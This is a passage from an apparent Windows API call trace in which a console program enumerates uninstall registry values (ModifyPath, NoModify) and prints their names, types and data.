CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.210] GetConsoleOutputCP () returned 0x1b5 [0150.210] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.210] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.210] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.210] __iob_func () returned 0x7fefd702a80 [0150.210] _fileno (_File=0x7fefd702ab0) returned 1 [0150.210] _errno () returned 0x204bb0 [0150.210] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.210] _errno () returned 0x204bb0 [0150.210] GetFileType (hFile=0x50) returned 0x1 [0150.210] lstrlenW (lpString="REG_SZ") returned 6 [0150.210] GetConsoleOutputCP () returned 0x1b5 [0150.211] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.211] GetConsoleOutputCP () returned 0x1b5 [0150.211] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.211] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.211] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.211] __iob_func () returned 0x7fefd702a80 [0150.211] _fileno (_File=0x7fefd702ab0) returned 1 [0150.211] _errno () returned 0x204bb0 [0150.211] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.211] _errno () returned 0x204bb0 [0150.211] GetFileType (hFile=0x50) returned 0x1 [0150.211] lstrlenW (lpString=" ") returned 4 [0150.211] GetConsoleOutputCP () returned 0x1b5 [0150.211] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.211] GetConsoleOutputCP () returned 0x1b5 [0150.211] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.211] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.211] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.211] __iob_func () returned 0x7fefd702a80 [0150.211] _fileno (_File=0x7fefd702ab0) returned 1 [0150.211] _errno () returned 0x204bb0 [0150.211] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.211] _errno () returned 0x204bb0 [0150.211] GetFileType (hFile=0x50) returned 0x1 [0150.212] lstrlenW (lpString="c:\\d1d7baa2967008fb8610\\") returned 24 [0150.212] GetConsoleOutputCP () returned 0x1b5 [0150.212] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="c:\\d1d7baa2967008fb8610\\", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0150.212] GetConsoleOutputCP () returned 0x1b5 [0150.212] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="c:\\d1d7baa2967008fb8610\\", cchWideChar=24, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="c:\\d1d7baa2967008fb8610\\", lpUsedDefaultChar=0x0) returned 24 [0150.212] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 24 [0150.212] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.212] __iob_func () returned 0x7fefd702a80 [0150.212] _fileno (_File=0x7fefd702ab0) returned 1 [0150.212] _errno () returned 0x204bb0 [0150.212] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.212] _errno () returned 0x204bb0 [0150.212] GetFileType (hFile=0x50) returned 0x1 [0150.212] lstrlenW (lpString="\n") returned 1 [0150.212] GetConsoleOutputCP () returned 0x1b5 [0150.212] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.212] GetConsoleOutputCP () returned 0x1b5 [0150.212] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.212] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.212] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.213] GetProcessHeap () returned 0x3c0000 [0150.213] GetProcessHeap () returned 0x3c0000 [0150.213] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d78d0) returned 1 [0150.213] GetProcessHeap () returned 0x3c0000 [0150.213] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d78d0) returned 0x36 [0150.213] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d78d0 | out: hHeap=0x3c0000) returned 1 [0150.213] RegEnumValueW (in: hKey=0x5c, dwIndex=0x9, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="ModifyPath", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.213] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x6a) returned 0x0 [0150.213] GetProcessHeap () returned 0x3c0000 [0150.213] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6c) returned 0x3db830 [0150.213] GetProcessHeap () returned 0x3c0000 [0150.213] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0150.213] GetProcessHeap () returned 0x3c0000 [0150.213] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x6c [0150.213] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x6a | out: pdwType=0x29f700*=0x2, pvData="MsiExec.exe /X{9BE518E6-ECC6-35A9-88E4-87755C07200F}", pcbData=0x29f780*=0x6a) returned 0x0 [0150.213] __iob_func () returned 0x7fefd702a80 [0150.213] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.213] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.213] _fileno (_File=0x7fefd702ab0) returned 1 [0150.213] _errno () returned 0x204bb0 [0150.213] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.213] _errno () returned 0x204bb0 [0150.213] GetFileType (hFile=0x50) returned 0x1 [0150.213] lstrlenW (lpString=" ") returned 4 [0150.213] GetConsoleOutputCP () returned 0x1b5 [0150.213] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.213] GetConsoleOutputCP () returned 0x1b5 [0150.214] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.214] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.214] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.214] lstrlenW (lpString="ModifyPath") returned 10 [0150.214] __iob_func () returned 0x7fefd702a80 [0150.214] _fileno (_File=0x7fefd702ab0) returned 1 [0150.214] _errno () returned 0x204bb0 [0150.214] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.214] _errno () returned 0x204bb0 [0150.214] GetFileType (hFile=0x50) returned 0x1 [0150.214] lstrlenW (lpString="ModifyPath") returned 10 [0150.214] GetConsoleOutputCP () returned 0x1b5 [0150.214] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0150.214] GetConsoleOutputCP () returned 0x1b5 [0150.214] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ModifyPath", lpUsedDefaultChar=0x0) returned 10 [0150.214] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 10 [0150.214] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.214] __iob_func () returned 0x7fefd702a80 [0150.214] _fileno (_File=0x7fefd702ab0) returned 1 [0150.214] _errno () returned 0x204bb0 [0150.214] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.214] _errno () returned 0x204bb0 [0150.214] GetFileType (hFile=0x50) returned 0x1 [0150.215] lstrlenW (lpString=" ") returned 4 [0150.215] GetConsoleOutputCP () returned 0x1b5 [0150.215] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.215] GetConsoleOutputCP () returned 0x1b5 [0150.215] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.215] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.215] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.215] __iob_func () returned 0x7fefd702a80 [0150.215] _fileno (_File=0x7fefd702ab0) returned 1 [0150.215] _errno () returned 0x204bb0 [0150.215] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.215] _errno () returned 0x204bb0 [0150.215] GetFileType (hFile=0x50) returned 0x1 [0150.215] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0150.215] GetConsoleOutputCP () returned 0x1b5 [0150.215] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0150.215] GetConsoleOutputCP () returned 0x1b5 [0150.215] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0150.215] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0150.215] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.216] __iob_func () returned 0x7fefd702a80 [0150.216] _fileno (_File=0x7fefd702ab0) returned 1 [0150.216] _errno () returned 0x204bb0 [0150.216] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.216] _errno () returned 0x204bb0 [0150.216] GetFileType (hFile=0x50) returned 0x1 [0150.216] lstrlenW (lpString=" ") returned 4 [0150.216] GetConsoleOutputCP () returned 0x1b5 [0150.216] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.216] GetConsoleOutputCP () returned 0x1b5 [0150.216] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.216] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.216] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.216] __iob_func () returned 0x7fefd702a80 [0150.216] _fileno (_File=0x7fefd702ab0) returned 1 [0150.216] _errno () returned 0x204bb0 [0150.216] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.216] _errno () returned 0x204bb0 [0150.216] GetFileType (hFile=0x50) returned 0x1 [0150.216] lstrlenW (lpString="MsiExec.exe /X{9BE518E6-ECC6-35A9-88E4-87755C07200F}") returned 52 [0150.216] GetConsoleOutputCP () returned 0x1b5 [0150.216] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{9BE518E6-ECC6-35A9-88E4-87755C07200F}", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0150.216] GetConsoleOutputCP () returned 0x1b5 [0150.217] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{9BE518E6-ECC6-35A9-88E4-87755C07200F}", cchWideChar=52, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsiExec.exe /X{9BE518E6-ECC6-35A9-88E4-87755C07200F}", lpUsedDefaultChar=0x0) returned 52 [0150.217] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 52 [0150.217] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.217] __iob_func () returned 0x7fefd702a80 [0150.217] _fileno (_File=0x7fefd702ab0) returned 1 [0150.217] _errno () returned 0x204bb0 [0150.217] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.217] _errno () returned 0x204bb0 [0150.217] GetFileType (hFile=0x50) returned 0x1 [0150.217] lstrlenW (lpString="\n") returned 1 [0150.217] GetConsoleOutputCP () returned 0x1b5 [0150.217] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.217] GetConsoleOutputCP () returned 0x1b5 [0150.217] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.217] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.217] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.217] GetProcessHeap () returned 0x3c0000 [0150.217] GetProcessHeap () returned 0x3c0000 [0150.217] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0150.217] GetProcessHeap () returned 0x3c0000 [0150.217] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x6c [0150.217] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0150.218] RegEnumValueW (in: hKey=0x5c, dwIndex=0xa, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="NoModify", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.218] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoModify", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.218] GetProcessHeap () returned 0x3c0000 [0150.218] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.218] GetProcessHeap () returned 0x3c0000 [0150.218] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.218] GetProcessHeap () returned 0x3c0000 [0150.218] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.218] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoModify", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x1, pcbData=0x29f780*=0x4) returned 0x0 [0150.218] __iob_func () returned 0x7fefd702a80 [0150.218] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.218] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.218] _fileno (_File=0x7fefd702ab0) returned 1 [0150.218] _errno () returned 0x204bb0 [0150.218] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.218] _errno () returned 0x204bb0 [0150.218] GetFileType (hFile=0x50) returned 0x1 [0150.218] lstrlenW (lpString=" ") returned 4 [0150.218] GetConsoleOutputCP () returned 0x1b5 [0150.218] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.218] GetConsoleOutputCP () returned 0x1b5 [0150.218] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.218] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.218] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.218] lstrlenW (lpString="NoModify") returned 8 [0150.218] __iob_func () returned 0x7fefd702a80 [0150.219] _fileno (_File=0x7fefd702ab0) returned 1 [0150.219] _errno () returned 0x204bb0 [0150.219] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.219] _errno () returned 0x204bb0 [0150.219] GetFileType (hFile=0x50) returned 0x1 [0150.219] lstrlenW (lpString="NoModify") returned 8 [0150.219] GetConsoleOutputCP () returned 0x1b5 [0150.219] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoModify", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0150.219] GetConsoleOutputCP () returned 0x1b5 [0150.219] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoModify", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NoModify", lpUsedDefaultChar=0x0) returned 8 [0150.219] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0150.219] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.219] __iob_func () returned 0x7fefd702a80 [0150.219] _fileno (_File=0x7fefd702ab0) returned 1 [0150.219] _errno () returned 0x204bb0 [0150.219] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.219] _errno () returned 0x204bb0 [0150.219] GetFileType (hFile=0x50) returned 0x1 [0150.219] lstrlenW (lpString=" ") returned 4 [0150.219] GetConsoleOutputCP () returned 0x1b5 [0150.219] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.219] GetConsoleOutputCP () returned 0x1b5 [0150.220] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.220] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.220] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.220] __iob_func () returned 0x7fefd702a80 [0150.220] _fileno (_File=0x7fefd702ab0) returned 1 [0150.220] _errno () returned 0x204bb0 [0150.220] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.220] _errno () returned 0x204bb0 [0150.220] GetFileType (hFile=0x50) returned 0x1 [0150.220] lstrlenW (lpString="REG_DWORD") returned 9 [0150.220] GetConsoleOutputCP () returned 0x1b5 [0150.220] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.220] GetConsoleOutputCP () returned 0x1b5 [0150.220] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0150.220] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.220] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.220] __iob_func () returned 0x7fefd702a80 [0150.220] _fileno (_File=0x7fefd702ab0) returned 1 [0150.220] _errno () returned 0x204bb0 [0150.220] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.220] _errno () returned 0x204bb0 [0150.220] GetFileType (hFile=0x50) returned 0x1 [0150.220] lstrlenW (lpString=" ") returned 4 [0150.220] GetConsoleOutputCP () returned 0x1b5 [0150.221] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.221] GetConsoleOutputCP () returned 0x1b5 [0150.221] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.221] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.221] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.221] __iob_func () returned 0x7fefd702a80 [0150.221] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.221] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x1") returned 3 [0150.221] _fileno (_File=0x7fefd702ab0) returned 1 [0150.221] _errno () returned 0x204bb0 [0150.221] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.221] _errno () returned 0x204bb0 [0150.221] GetFileType (hFile=0x50) returned 0x1 [0150.221] lstrlenW (lpString="0x1") returned 3 [0150.221] GetConsoleOutputCP () returned 0x1b5 [0150.221] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0150.221] GetConsoleOutputCP () returned 0x1b5 [0150.221] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0150.221] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0150.221] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.222] __iob_func () returned 0x7fefd702a80 [0150.222] _fileno (_File=0x7fefd702ab0) returned 1 [0150.222] _errno () returned 0x204bb0 [0150.222] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.222] _errno () returned 0x204bb0 [0150.222] GetFileType (hFile=0x50) returned 0x1 [0150.222] lstrlenW (lpString="\n") returned 1 [0150.222] GetConsoleOutputCP () returned 0x1b5 [0150.222] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.222] GetConsoleOutputCP () returned 0x1b5 [0150.222] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.222] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.222] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.222] GetProcessHeap () returned 0x3c0000 [0150.222] GetProcessHeap () returned 0x3c0000 [0150.222] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.222] GetProcessHeap () returned 0x3c0000 [0150.222] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.222] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.222] RegEnumValueW (in: hKey=0x5c, dwIndex=0xb, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, 